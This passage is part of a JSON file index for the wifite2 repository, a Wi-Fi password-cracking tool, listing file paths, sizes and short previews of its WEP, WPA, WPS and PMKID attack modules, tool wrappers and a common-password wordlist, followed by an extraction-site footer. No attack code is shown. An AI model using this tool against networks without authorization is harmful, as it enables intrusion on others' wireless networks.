    "path": "tests/files/airmon.output",
    "chars": 248,
    "preview": "No interfering processes found\nPHY\tInterface\tDriver\t\tChipset\n\nphy2\twlan0\t\trtl8187\t\tRealtek Semiconductor Corp. RTL8187\n\t"
  },
  {
    "path": "tests/files/airodump-weird-ssids.csv",
    "chars": 1137,
    "preview": "\r\nBSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN I"
  },
  {
    "path": "tests/files/airodump.csv",
    "chars": 5393,
    "preview": "\r\nBSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN I"
  },
  {
    "path": "tests/test_Airmon.py",
    "chars": 744,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '..')\n\nfrom wifite.tools.airmon import Airm"
  },
  {
    "path": "tests/test_Airodump.py",
    "chars": 1893,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '..')\n\nfrom wifite.tools.airodump import Ai"
  },
  {
    "path": "tests/test_Handshake.py",
    "chars": 1990,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '..')\n\nfrom wifite.model.handshake import H"
  },
  {
    "path": "tests/test_Target.py",
    "chars": 1143,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom wifite.tools.airodump import Airodump\n\nimport unittest\n\nclass TestTa"
  },
  {
    "path": "wifite/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "wifite/__main__.py",
    "chars": 2900,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\ntry:\n    from .config import Configuration\nexcept (ValueError, ImportErro"
  },
  {
    "path": "wifite/args.py",
    "chars": 19383,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .util.color import Color\n\nimport argparse, sys\n\nclass Arguments(obje"
  },
  {
    "path": "wifite/attack/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "wifite/attack/all.py",
    "chars": 5116,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .wep import AttackWEP\nfrom .wpa import AttackWPA\nfrom .wps import At"
  },
  {
    "path": "wifite/attack/pmkid.py",
    "chars": 7652,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..config import Configuration\nfrom"
  },
  {
    "path": "wifite/attack/wep.py",
    "chars": 17473,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..tools.airodump import Airodump\nf"
  },
  {
    "path": "wifite/attack/wpa.py",
    "chars": 10699,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..tools.aircrack import Aircrack\nf"
  },
  {
    "path": "wifite/attack/wps.py",
    "chars": 3037,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..model.attack import Attack\nfrom ..util.color import Color\nfrom ..u"
  },
  {
    "path": "wifite/config.py",
    "chars": 20486,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nfrom .util.color import Color\nfrom .tools.macchanger import Ma"
  },
  {
    "path": "wifite/model/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "wifite/model/attack.py",
    "chars": 1221,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\n\nclass Attack(object):\n    '''Contains functionality common t"
  },
  {
    "path": "wifite/model/client.py",
    "chars": 1341,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nclass Client(object):\n    '''\n        Holds details for a 'Client' - a wi"
  },
  {
    "path": "wifite/model/handshake.py",
    "chars": 8963,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.process import Process\nfrom ..util.color import Color\nfrom .."
  },
  {
    "path": "wifite/model/pmkid_result.py",
    "chars": 1901,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom .result import CrackResult\n\nclass Cra"
  },
  {
    "path": "wifite/model/result.py",
    "chars": 6106,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom ..config import Configuration\n\nimport"
  },
  {
    "path": "wifite/model/target.py",
    "chars": 5597,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\n\nimport re\n\n\nclass WPSState:\n    NONE, UNL"
  },
  {
    "path": "wifite/model/wep_result.py",
    "chars": 1585,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom .result import CrackResult\n\nimport ti"
  },
  {
    "path": "wifite/model/wpa_result.py",
    "chars": 1896,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom .result import CrackResult\n\nclass Cra"
  },
  {
    "path": "wifite/model/wps_result.py",
    "chars": 1661,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom ..model.result import CrackResult\n\nim"
  },
  {
    "path": "wifite/tools/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "wifite/tools/aircrack.py",
    "chars": 5672,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..util.process import Process\nfro"
  },
  {
    "path": "wifite/tools/aireplay.py",
    "chars": 18195,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfro"
  },
  {
    "path": "wifite/tools/airmon.py",
    "chars": 15657,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .ifconfig import Ifconfig\nfrom .i"
  },
  {
    "path": "wifite/tools/airodump.py",
    "chars": 12215,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .tshark import Tshark\nfrom .wash "
  },
  {
    "path": "wifite/tools/bully.py",
    "chars": 14117,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .airodump import Airodump\nfrom .."
  },
  {
    "path": "wifite/tools/cowpatty.py",
    "chars": 1090,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfro"
  },
  {
    "path": "wifite/tools/dependency.py",
    "chars": 2598,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nclass Dependency(object):\n    required_attr_names = ['dependency_name', '"
  },
  {
    "path": "wifite/tools/hashcat.py",
    "chars": 6633,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfro"
  },
  {
    "path": "wifite/tools/ifconfig.py",
    "chars": 1784,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\n\nfrom .dependency import Dependency\n\nclass Ifconfig(Dependency)"
  },
  {
    "path": "wifite/tools/iwconfig.py",
    "chars": 1226,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\n\nclass Iwconfig(Dependency):\n    depen"
  },
  {
    "path": "wifite/tools/john.py",
    "chars": 1988,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..config import Configuration\nfro"
  },
  {
    "path": "wifite/tools/macchanger.py",
    "chars": 2769,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..tools.ifconfig import Ifconfig\n"
  },
  {
    "path": "wifite/tools/pyrit.py",
    "chars": 1946,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..util.process import Process\nimp"
  },
  {
    "path": "wifite/tools/reaver.py",
    "chars": 16569,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .airodump import Airodump\nfrom .b"
  },
  {
    "path": "wifite/tools/tshark.py",
    "chars": 7791,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..model.target import WPSState\nfr"
  },
  {
    "path": "wifite/tools/wash.py",
    "chars": 2328,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom ..model.target import WPSState\nfr"
  },
  {
    "path": "wifite/util/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "wifite/util/color.py",
    "chars": 3851,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\n\nclass Color(object):\n    ''' Helper object for easily printin"
  },
  {
    "path": "wifite/util/crack.py",
    "chars": 10364,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..config import Configuration\nfrom ..model.handshake import Handshak"
  },
  {
    "path": "wifite/util/input.py",
    "chars": 256,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Fix for raw_input on python3: https://stackoverflow.com/a/7321970\ntry:\n"
  },
  {
    "path": "wifite/util/process.py",
    "chars": 6660,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport signal\nimport os\n\nfrom subprocess import Popen, PIPE\n\n"
  },
  {
    "path": "wifite/util/scanner.py",
    "chars": 8433,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom ..tools.airodump import Airodump\nfrom"
  },
  {
    "path": "wifite/util/timer.py",
    "chars": 1030,
    "preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\n\nclass Timer(object):\n    def __init__(self, seconds):\n      "
  },
  {
    "path": "wordlist-top4800-probable.txt",
    "chars": 45276,
    "preview": "password\n123456789\n12345678\n1q2w3e4r\nsunshine\nfootball\n1234567890\ncomputer\nsuperman\ninternet\niloveyou\n1qaz2wsx\nbaseball\n"
  }
]

// ... and 7 more files (download for full content)

About this extraction

This page contains the full source code of the derv82/wifite2 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 73 files (366.7 KB), approximately 102.3k tokens, and a symbol index with 311 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!